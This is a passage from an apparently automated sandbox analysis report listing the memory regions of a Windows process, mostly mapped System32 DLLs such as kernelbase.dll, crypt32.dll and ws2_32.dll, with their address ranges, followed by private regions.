"fastprox.dll" filename = "\\Windows\\System32\\wbem\\fastprox.dll" (normalized: "c:\\windows\\system32\\wbem\\fastprox.dll") Region: id = 817 start_va = 0x7fef64d0000 end_va = 0x7fef6516fff entry_point = 0x7fef64d0000 region_type = mapped_file name = "wdscore.dll" filename = "\\Windows\\System32\\wdscore.dll" (normalized: "c:\\windows\\system32\\wdscore.dll") Region: id = 818 start_va = 0x7fef6520000 end_va = 0x7fef6561fff entry_point = 0x7fef6520000 region_type = mapped_file name = "sqmapi.dll" filename = "\\Windows\\System32\\sqmapi.dll" (normalized: "c:\\windows\\system32\\sqmapi.dll") Region: id = 819 start_va = 0x7fef6570000 end_va = 0x7fef6580fff entry_point = 0x7fef6570000 region_type = mapped_file name = "rtutils.dll" filename = "\\Windows\\System32\\rtutils.dll" (normalized: "c:\\windows\\system32\\rtutils.dll") Region: id = 820 start_va = 0x7fef6590000 end_va = 0x7fef6621fff entry_point = 0x7fef6590000 region_type = mapped_file name = "iphlpsvc.dll" filename = "\\Windows\\System32\\iphlpsvc.dll" (normalized: "c:\\windows\\system32\\iphlpsvc.dll") Region: id = 821 start_va = 0x7fef73c0000 end_va = 0x7fef73d6fff entry_point = 0x7fef73c0000 region_type = mapped_file name = "vsstrace.dll" filename = "\\Windows\\System32\\vsstrace.dll" (normalized: "c:\\windows\\system32\\vsstrace.dll") Region: id = 822 start_va = 0x7fef73e0000 end_va = 0x7fef758ffff entry_point = 0x7fef73e0000 region_type = mapped_file name = "vssapi.dll" filename = "\\Windows\\System32\\vssapi.dll" (normalized: "c:\\windows\\system32\\vssapi.dll") Region: id = 823 start_va = 0x7fef8120000 end_va = 0x7fef8128fff entry_point = 0x7fef8120000 region_type = mapped_file name = "tschannel.dll" filename = "\\Windows\\System32\\TSChannel.dll" (normalized: "c:\\windows\\system32\\tschannel.dll") Region: id = 824 start_va = 0x7fef8940000 end_va = 0x7fef8959fff entry_point = 0x7fef8940000 region_type = mapped_file name = "rascfg.dll" filename = "\\Windows\\System32\\rascfg.dll" (normalized: "c:\\windows\\system32\\rascfg.dll") Region: id = 825 start_va = 0x7fef8f60000 end_va = 0x7fef904dfff entry_point = 0x7fef8f60000 region_type = mapped_file name = "actxprxy.dll" filename = "\\Windows\\System32\\actxprxy.dll" (normalized: "c:\\windows\\system32\\actxprxy.dll") Region: id = 826 start_va = 0x7fef9340000 end_va = 0x7fef934efff entry_point = 0x7fef9340000 region_type = mapped_file name = "ndiscapcfg.dll" filename = "\\Windows\\System32\\ndiscapCfg.dll" (normalized: "c:\\windows\\system32\\ndiscapcfg.dll") Region: id = 827 start_va = 0x7fef9350000 end_va = 0x7fef9365fff entry_point = 0x7fef9350000 region_type = mapped_file name = "ncprov.dll" filename = "\\Windows\\System32\\wbem\\NCProv.dll" (normalized: "c:\\windows\\system32\\wbem\\ncprov.dll") Region: id = 828 start_va = 0x7fef93c0000 end_va = 0x7fef9436fff entry_point = 0x7fef93c0000 region_type = mapped_file name = "taskcomp.dll" filename = "\\Windows\\System32\\taskcomp.dll" (normalized: "c:\\windows\\system32\\taskcomp.dll") Region: id = 829 start_va = 0x7fef9440000 end_va = 0x7fef9449fff entry_point = 0x7fef9440000 region_type = mapped_file name = "ktmw32.dll" filename = "\\Windows\\System32\\ktmw32.dll" (normalized: "c:\\windows\\system32\\ktmw32.dll") Region: id = 830 start_va = 0x7fef9450000 end_va = 0x7fef9561fff entry_point = 0x7fef9450000 region_type = mapped_file name = "schedsvc.dll" filename = "\\Windows\\System32\\schedsvc.dll" (normalized: "c:\\windows\\system32\\schedsvc.dll") Region: id = 831 start_va = 0x7fef9570000 end_va = 0x7fef957efff entry_point = 0x7fef9570000 region_type = mapped_file name = "wiarpc.dll" filename = "\\Windows\\System32\\wiarpc.dll" (normalized: "c:\\windows\\system32\\wiarpc.dll") Region: id = 832 start_va = 0x7fef9580000 end_va = 0x7fef9588fff entry_point = 0x7fef9580000 region_type = mapped_file name = "fvecerts.dll" filename = "\\Windows\\System32\\fvecerts.dll" (normalized: "c:\\windows\\system32\\fvecerts.dll") Region: id = 833 start_va = 0x7fef9590000 end_va = 0x7fef9598fff entry_point = 0x7fef9590000 region_type = mapped_file name = "tbs.dll" filename = "\\Windows\\System32\\tbs.dll" (normalized: "c:\\windows\\system32\\tbs.dll") Region: id = 834 start_va = 0x7fef95a0000 end_va = 0x7fef95f5fff entry_point = 0x7fef95a0000 region_type = mapped_file name = "fveapi.dll" filename = "\\Windows\\System32\\fveapi.dll" (normalized: "c:\\windows\\system32\\fveapi.dll") Region: id = 835 start_va = 0x7fef9600000 end_va = 0x7fef965dfff entry_point = 0x7fef9600000 region_type = mapped_file name = "shsvcs.dll" filename = "\\Windows\\System32\\shsvcs.dll" (normalized: "c:\\windows\\system32\\shsvcs.dll") Region: id = 836 start_va = 0x7fef9660000 end_va = 0x7fef9677fff entry_point = 0x7fef9660000 region_type = mapped_file name = "dhcpcsvc.dll" filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll") Region: id = 837 start_va = 0x7fef9680000 end_va = 0x7fef9690fff entry_point = 0x7fef9680000 region_type = mapped_file name = "dhcpcsvc6.dll" filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll") Region: id = 838 start_va = 0x7fef96b0000 end_va = 0x7fef9702fff entry_point = 0x7fef96b0000 region_type = mapped_file name = "fwpuclnt.dll" filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll") Region: id = 839 start_va = 0x7fefb650000 end_va = 0x7fefb663fff entry_point = 0x7fefb650000 region_type = mapped_file name = "sens.dll" filename = "\\Windows\\System32\\Sens.dll" (normalized: "c:\\windows\\system32\\sens.dll") Region: id = 840 start_va = 0x7fefb670000 end_va = 0x7fefb67afff entry_point = 0x7fefb670000 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 841 start_va = 0x7fefb680000 end_va = 0x7fefb6a6fff entry_point = 0x7fefb680000 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 842 start_va = 0x7fefb6b0000 end_va = 0x7fefb716fff entry_point = 0x7fefb6b0000 region_type = mapped_file name = "es.dll" filename = "\\Windows\\System32\\es.dll" (normalized: "c:\\windows\\system32\\es.dll") Region: id = 843 start_va = 0x7fefb730000 end_va = 0x7fefb73afff entry_point = 0x7fefb730000 region_type = mapped_file name = "slc.dll" filename = "\\Windows\\System32\\slc.dll" (normalized: "c:\\windows\\system32\\slc.dll") Region: id = 844 start_va = 0x7fefb740000 end_va = 0x7fefb74bfff entry_point = 0x7fefb740000 region_type = mapped_file name = "dsrole.dll" filename = "\\Windows\\System32\\dsrole.dll" (normalized: "c:\\windows\\system32\\dsrole.dll") Region: id = 845 start_va = 0x7fefb750000 end_va = 0x7fefb75ffff entry_point = 0x7fefb750000 region_type = mapped_file name = "themeservice.dll" filename = "\\Windows\\System32\\themeservice.dll" (normalized: "c:\\windows\\system32\\themeservice.dll") Region: id = 846 start_va = 0x7fefb760000 end_va = 0x7fefb778fff entry_point = 0x7fefb760000 region_type = mapped_file name = "atl.dll" filename = "\\Windows\\System32\\atl.dll" (normalized: "c:\\windows\\system32\\atl.dll") Region: id = 847 start_va = 0x7fefb780000 end_va = 0x7fefb7b6fff entry_point = 0x7fefb780000 region_type = mapped_file name = "profsvc.dll" filename = "\\Windows\\System32\\profsvc.dll" (normalized: "c:\\windows\\system32\\profsvc.dll") Region: id = 848 start_va = 0x7fefb800000 end_va = 0x7fefb814fff entry_point = 0x7fefb800000 region_type = mapped_file name = "nlaapi.dll" filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll") Region: id = 849 start_va = 0x7fefb820000 end_va = 0x7fefb8e1fff entry_point = 0x7fefb820000 region_type = mapped_file name = "gpsvc.dll" filename = "\\Windows\\System32\\gpsvc.dll" (normalized: "c:\\windows\\system32\\gpsvc.dll") Region: id = 850 start_va = 0x7fefbb00000 end_va = 0x7fefbb2cfff entry_point = 0x7fefbb00000 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 851 start_va = 0x7fefbb30000 end_va = 0x7fefbb4cfff entry_point = 0x7fefbb30000 region_type = mapped_file name = "mmcss.dll" filename = "\\Windows\\System32\\mmcss.dll" (normalized: "c:\\windows\\system32\\mmcss.dll") Region: id = 852 start_va = 0x7fefbb50000 end_va = 0x7fefbb58fff entry_point = 0x7fefbb50000 region_type = mapped_file name = "avrt.dll" filename = "\\Windows\\System32\\avrt.dll" (normalized: "c:\\windows\\system32\\avrt.dll") Region: id = 853 start_va = 0x7fefbc10000 end_va = 0x7fefbc17fff entry_point = 0x7fefbc10000 region_type = mapped_file name = "rasadhlp.dll" filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll") Region: id = 854 start_va = 0x7fefbcd0000 end_va = 0x7fefbd55fff entry_point = 0x7fefbcd0000 region_type = mapped_file name = "wbemcomn.dll" filename = "\\Windows\\System32\\wbemcomn.dll" (normalized: "c:\\windows\\system32\\wbemcomn.dll") Region: id = 855 start_va = 0x7fefbd60000 end_va = 0x7fefbd73fff entry_point = 0x7fefbd60000 region_type = mapped_file name = "samcli.dll" filename = "\\Windows\\System32\\samcli.dll" (normalized: "c:\\windows\\system32\\samcli.dll") Region: id = 856 start_va = 0x7fefbd80000 end_va = 0x7fefbd94fff entry_point = 0x7fefbd80000 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 857 start_va = 0x7fefbda0000 end_va = 0x7fefbdabfff entry_point = 0x7fefbda0000 region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 858 start_va = 0x7fefbdb0000 end_va = 0x7fefbdc5fff entry_point = 0x7fefbdb0000 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 859 start_va = 0x7fefbdd0000 end_va = 0x7fefbdd7fff entry_point = 0x7fefbdd0000 region_type = mapped_file name = "sscore.dll" filename = "\\Windows\\System32\\sscore.dll" (normalized: "c:\\windows\\system32\\sscore.dll") Region: id = 860 start_va = 0x7fefbe30000 end_va = 0x7fefbe6ffff entry_point = 0x7fefbe30000 region_type = mapped_file name = "wmisvc.dll" filename = "\\Windows\\System32\\wbem\\WMIsvc.dll" (normalized: "c:\\windows\\system32\\wbem\\wmisvc.dll") Region: id = 861 start_va = 0x7fefbee0000 end_va = 0x7fefbef0fff entry_point = 0x7fefbee0000 region_type = mapped_file name = "wtsapi32.dll" filename = "\\Windows\\System32\\wtsapi32.dll" (normalized: "c:\\windows\\system32\\wtsapi32.dll") Region: id = 862 start_va = 0x7fefbf00000 end_va = 0x7fefbf0efff entry_point = 0x7fefbf00000 region_type = mapped_file name = "wbemprox.dll" filename = "\\Windows\\System32\\wbem\\wbemprox.dll" (normalized: "c:\\windows\\system32\\wbem\\wbemprox.dll") Region: id = 863 start_va = 0x7fefc040000 end_va = 0x7fefc074fff entry_point = 0x7fefc040000 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Region: id = 864 start_va = 0x7fefc4b0000 end_va = 0x7fefc505fff entry_point = 0x7fefc4b0000 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 865 start_va = 0x7fefc510000 end_va = 0x7fefc63bfff entry_point = 0x7fefc510000 region_type = mapped_file name = "propsys.dll" filename = "\\Windows\\System32\\propsys.dll" (normalized: "c:\\windows\\system32\\propsys.dll") Region: id = 866 start_va = 0x7fefc640000 end_va = 0x7fefc65cfff entry_point = 0x7fefc640000 region_type = mapped_file name = "samlib.dll" filename = "\\Windows\\System32\\samlib.dll" (normalized: "c:\\windows\\system32\\samlib.dll") Region: id = 867 start_va = 0x7fefc690000 end_va = 0x7fefc883fff entry_point = 0x7fefc690000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.7601.17514_none_fa396087175ac9ac\\comctl32.dll") Region: id = 868 start_va = 0x7fefcd50000 end_va = 0x7fefcd5bfff entry_point = 0x7fefcd50000 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 869 start_va = 0x7fefcd60000 end_va = 0x7fefce1afff entry_point = 0x7fefcd60000 region_type = mapped_file name = "firewallapi.dll" filename = "\\Windows\\System32\\FirewallAPI.dll" (normalized: "c:\\windows\\system32\\firewallapi.dll") Region: id = 870 start_va = 0x7fefce20000 end_va = 0x7fefce26fff entry_point = 0x7fefce20000 region_type = mapped_file name = "wshtcpip.dll" filename = "\\Windows\\System32\\WSHTCPIP.DLL" (normalized: "c:\\windows\\system32\\wshtcpip.dll") Region: id = 871 start_va = 0x7fefcf10000 end_va = 0x7fefcf2afff entry_point = 0x7fefcf10000 region_type = mapped_file name = "gpapi.dll" filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll") Region: id = 872 start_va = 0x7fefcf30000 end_va = 0x7fefcf4dfff entry_point = 0x7fefcf30000 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 873 start_va = 0x7fefcf50000 end_va = 0x7fefcf61fff entry_point = 0x7fefcf50000 region_type = mapped_file name = "devrtl.dll" filename = "\\Windows\\System32\\devrtl.dll" (normalized: "c:\\windows\\system32\\devrtl.dll") Region: id = 874 start_va = 0x7fefcf70000 end_va = 0x7fefcf8efff entry_point = 0x7fefcf70000 region_type = mapped_file name = "spinf.dll" filename = "\\Windows\\System32\\SPInf.dll" (normalized: "c:\\windows\\system32\\spinf.dll") Region: id = 875 start_va = 0x7fefd040000 end_va = 0x7fefd078fff entry_point = 0x7fefd040000 region_type = mapped_file name = "ubpm.dll" filename = "\\Windows\\System32\\ubpm.dll" (normalized: "c:\\windows\\system32\\ubpm.dll") Region: id = 876 start_va = 0x7fefd080000 end_va = 0x7fefd089fff entry_point = 0x7fefd080000 region_type = mapped_file name = "credssp.dll" filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll") Region: id = 877 start_va = 0x7fefd090000 end_va = 0x7fefd09cfff entry_point = 0x7fefd090000 region_type = mapped_file name = "pcwum.dll" filename = "\\Windows\\System32\\pcwum.dll" (normalized: "c:\\windows\\system32\\pcwum.dll") Region: id = 878 start_va = 0x7fefd180000 end_va = 0x7fefd1c6fff entry_point = 0x7fefd180000 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 879 start_va = 0x7fefd270000 end_va = 0x7fefd29ffff entry_point = 0x7fefd270000 region_type = mapped_file name = "logoncli.dll" filename = "\\Windows\\System32\\logoncli.dll" (normalized: "c:\\windows\\system32\\logoncli.dll") Region: id = 880 start_va = 0x7fefd2a0000 end_va = 0x7fefd2fafff entry_point = 0x7fefd2a0000 region_type = mapped_file name = "dnsapi.dll" filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll") Region: id = 881 start_va = 0x7fefd410000 end_va = 0x7fefd416fff entry_point = 0x7fefd410000 region_type = mapped_file name = "wship6.dll" filename = "\\Windows\\System32\\wship6.dll" (normalized: "c:\\windows\\system32\\wship6.dll") Region: id = 882 start_va = 0x7fefd420000 end_va = 0x7fefd474fff entry_point = 0x7fefd420000 region_type = mapped_file name = "mswsock.dll" filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll") Region: id = 883 start_va = 0x7fefd480000 end_va = 0x7fefd496fff entry_point = 0x7fefd480000 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll") Region: id = 884 start_va = 0x7fefd590000 end_va = 0x7fefd5c1fff entry_point = 0x7fefd590000 region_type = mapped_file name = "netjoin.dll" filename = "\\Windows\\System32\\netjoin.dll" (normalized: "c:\\windows\\system32\\netjoin.dll") Region: id = 885 start_va = 0x7fefd5e0000 end_va = 0x7fefd5e9fff entry_point = 0x7fefd5e0000 region_type = mapped_file name = "sysntfy.dll" filename = "\\Windows\\System32\\sysntfy.dll" (normalized: "c:\\windows\\system32\\sysntfy.dll") Region: id = 886 start_va = 0x7fefd670000 end_va = 0x7fefd69efff entry_point = 0x7fefd670000 region_type = mapped_file name = "authz.dll" filename = "\\Windows\\System32\\authz.dll" (normalized: "c:\\windows\\system32\\authz.dll") Region: id = 887 start_va = 0x7fefd6b0000 end_va = 0x7fefd71cfff entry_point = 0x7fefd6b0000 region_type = mapped_file name = "wevtapi.dll" filename = "\\Windows\\System32\\wevtapi.dll" (normalized: "c:\\windows\\system32\\wevtapi.dll") Region: id = 888 start_va = 0x7fefd720000 end_va = 0x7fefd733fff entry_point = 0x7fefd720000 region_type = mapped_file name = "cryptdll.dll" filename = "\\Windows\\System32\\cryptdll.dll" (normalized: "c:\\windows\\system32\\cryptdll.dll") Region: id = 889 start_va = 0x7fefd980000 end_va = 0x7fefd9a2fff entry_point = 0x7fefd980000 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 890 start_va = 0x7fefda20000 end_va = 0x7fefda2afff entry_point = 0x7fefda20000 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 891 start_va = 0x7fefda50000 end_va = 0x7fefda74fff entry_point = 0x7fefda50000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 892 start_va = 0x7fefda80000 end_va = 0x7fefda8efff entry_point = 0x7fefda80000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 893 start_va = 0x7fefda90000 end_va = 0x7fefdb20fff entry_point = 0x7fefda90000 region_type = mapped_file name = "sxs.dll" filename = "\\Windows\\System32\\sxs.dll" (normalized: "c:\\windows\\system32\\sxs.dll") Region: id = 894 start_va = 0x7fefdb30000 end_va = 0x7fefdb6cfff entry_point = 0x7fefdb30000 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 895 start_va = 0x7fefdb70000 end_va = 0x7fefdb83fff entry_point = 0x7fefdb70000 region_type = mapped_file name = "rpcrtremote.dll" filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll") Region: id = 896 start_va = 0x7fefdb90000 end_va = 0x7fefdb9efff entry_point = 0x7fefdb90000 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 897 start_va = 0x7fefdc30000 end_va = 0x7fefdc3efff entry_point = 0x7fefdc30000 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 898 start_va = 0x7fefdce0000 end_va = 0x7fefdd15fff entry_point = 0x7fefdce0000 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 899 start_va = 0x7fefdd20000 end_va = 0x7fefdd59fff entry_point = 0x7fefdd20000 region_type = mapped_file name = "wintrust.dll" filename = "\\Windows\\System32\\wintrust.dll" (normalized: "c:\\windows\\system32\\wintrust.dll") Region: id = 900 start_va = 0x7fefdd60000 end_va = 0x7fefddcafff entry_point = 0x7fefdd60000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 901 start_va = 0x7fefddd0000 end_va = 0x7fefdde9fff entry_point = 0x7fefddd0000 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 902 start_va = 0x7fefddf0000 end_va = 0x7fefdf56fff entry_point = 0x7fefddf0000 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 903 start_va = 0x7fefdf60000 end_va = 0x7fefdfc6fff entry_point = 0x7fefdf60000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 904 start_va = 0x7fefdfd0000 end_va = 0x7fefed57fff entry_point = 0x7fefdfd0000 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 905 start_va = 0x7fefed60000 end_va = 0x7fefed8dfff entry_point = 0x7fefed60000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 906 start_va = 0x7fefee30000 end_va = 0x7fefee7cfff entry_point = 0x7fefee30000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 907 start_va = 0x7feff0e0000 end_va = 0x7feff1bafff entry_point = 0x7feff0e0000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 908 start_va = 0x7feff1c0000 end_va = 0x7feff1defff entry_point = 0x7feff1c0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 909 start_va = 0x7feff1e0000 end_va = 0x7feff2e8fff entry_point = 0x7feff1e0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 910 start_va = 0x7feff2f0000 end_va = 0x7feff4c6fff entry_point = 0x7feff2f0000 region_type = mapped_file name = "setupapi.dll" filename = "\\Windows\\System32\\setupapi.dll" (normalized: "c:\\windows\\system32\\setupapi.dll") Region: id = 911 start_va = 0x7feff4d0000 end_va = 0x7feff598fff entry_point = 0x7feff4d0000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll") Region: id = 912 start_va = 0x7feff5a0000 end_va = 0x7feff63efff entry_point = 0x7feff5a0000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 913 start_va = 0x7feff640000 end_va = 0x7feff6b0fff entry_point = 0x7feff640000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 914 start_va = 0x7feff860000 end_va = 0x7feff86dfff entry_point = 0x7feff860000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll") Region: id = 915 start_va = 0x7feff9a0000 end_va = 0x7feffa38fff entry_point = 0x7feff9a0000 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 916 start_va = 0x7feffa40000 end_va = 0x7feffc42fff entry_point = 0x7feffa40000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 917 start_va = 0x7feffc50000 end_va = 0x7feffd7cfff entry_point = 0x7feffc50000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 918 start_va = 0x7feffd80000 end_va = 0x7feffe56fff entry_point = 0x7feffd80000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 919 start_va = 0x7feffe60000 end_va = 0x7feffeb1fff entry_point = 0x7feffe60000 region_type = mapped_file name = "wldap32.dll" filename = "\\Windows\\System32\\Wldap32.dll" (normalized: "c:\\windows\\system32\\wldap32.dll") Region: id = 920 start_va = 0x7feffec0000 end_va = 0x7feffec7fff entry_point = 0x7feffec0000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 921 start_va = 0x7fefff60000 end_va = 0x7fefff60fff entry_point = 0x7fefff60000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 922 start_va = 0x7fffff5c000 end_va = 0x7fffff5dfff entry_point = 0x0 region_type = private name = "private_0x000007fffff5c000" filename = "" Region: id = 923 start_va = 0x7fffff5e000 end_va = 0x7fffff5ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff5e000" filename = "" Region: id = 924 start_va = 0x7fffff60000 end_va = 0x7fffff61fff entry_point = 0x0 region_type = private name = "private_0x000007fffff60000" filename = "" Region: id = 925 start_va = 0x7fffff64000 end_va = 0x7fffff65fff entry_point = 0x0 region_type = private name = "private_0x000007fffff64000" filename = "" Region: id = 926 start_va = 0x7fffff66000 end_va = 0x7fffff67fff entry_point = 0x0 region_type = private name = "private_0x000007fffff66000" filename = "" Region: id = 927 start_va = 0x7fffff68000 end_va = 0x7fffff69fff entry_point = 0x0 region_type = private name = "private_0x000007fffff68000" filename = "" Region: id = 928 start_va = 0x7fffff6a000 end_va = 0x7fffff6bfff entry_point = 0x0 region_type = private name = "private_0x000007fffff6a000" filename = "" Region: id = 929 start_va = 0x7fffff6c000 end_va = 0x7fffff6dfff entry_point = 0x0 region_type = private name = "private_0x000007fffff6c000" filename = "" Region: id = 930 start_va = 0x7fffff6e000 end_va = 0x7fffff6ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff6e000" filename = "" Region: id = 931 start_va = 0x7fffff70000 end_va = 0x7fffff71fff entry_point = 0x0 region_type = private name = "private_0x000007fffff70000" filename = "" Region: id = 932 start_va = 0x7fffff74000 end_va = 0x7fffff75fff entry_point = 0x0 region_type = private name = "private_0x000007fffff74000" filename = "" Region: id = 933 start_va = 0x7fffff76000 end_va = 0x7fffff77fff entry_point = 0x0 region_type = private name = "private_0x000007fffff76000" filename = "" Region: id = 934 start_va = 0x7fffff78000 end_va = 0x7fffff79fff entry_point = 0x0 region_type = private name = "private_0x000007fffff78000" filename = "" Region: id = 935 start_va = 0x7fffff80000 end_va = 0x7fffff81fff entry_point = 0x0 region_type = private name = "private_0x000007fffff80000" filename = "" Region: id = 936 start_va = 0x7fffff82000 end_va = 0x7fffff83fff entry_point = 0x0 region_type = private name = "private_0x000007fffff82000" filename = "" Region: id = 937 start_va = 0x7fffff84000 end_va = 0x7fffff85fff entry_point = 0x0 region_type = private name = "private_0x000007fffff84000" filename = "" Region: id = 938 start_va = 0x7fffff8a000 end_va = 0x7fffff8bfff entry_point = 0x0 region_type = private name = "private_0x000007fffff8a000" filename = "" Region: id = 939 start_va = 0x7fffff8c000 end_va = 0x7fffff8dfff entry_point = 0x0 region_type = private name = "private_0x000007fffff8c000" filename = "" Region: id = 940 start_va = 0x7fffff8e000 end_va = 0x7fffff8ffff entry_point = 0x0 region_type = private name = "private_0x000007fffff8e000" filename = "" Region: id = 941 start_va = 0x7fffff90000 end_va = 0x7fffff91fff entry_point = 0x0 region_type = private name = "private_0x000007fffff90000" filename = "" Region: id = 942 start_va = 0x7fffff92000 end_va = 0x7fffff93fff entry_point = 0x0 region_type = private name = "private_0x000007fffff92000" filename = "" Region: id = 943 start_va = 0x7fffff94000 end_va = 0x7fffff95fff entry_point = 0x0 region_type = private name = "private_0x000007fffff94000" filename = "" Region: id = 944 start_va = 0x7fffff96000 end_va = 0x7fffff97fff entry_point = 0x0 region_type = private name = "private_0x000007fffff96000" filename = "" Region: id = 945 start_va = 0x7fffff98000 end_va = 0x7fffff99fff entry_point = 0x0 region_type = private name = "private_0x000007fffff98000" filename = "" Region: id = 946 start_va = 0x7fffff9a000 end_va = 0x7fffff9bfff entry_point = 0x0 region_type = private name = "private_0x000007fffff9a000" filename = "" Region: id = 947 start_va = 0x7fffff9c000 end_va = 0x7fffff9dfff entry_point = 0x0 region_type = private name = "private_0x000007fffff9c000" filename = "" Region: id = 948 start_va = 0x7fffff9e000 end_va = 0x7fffff9ffff 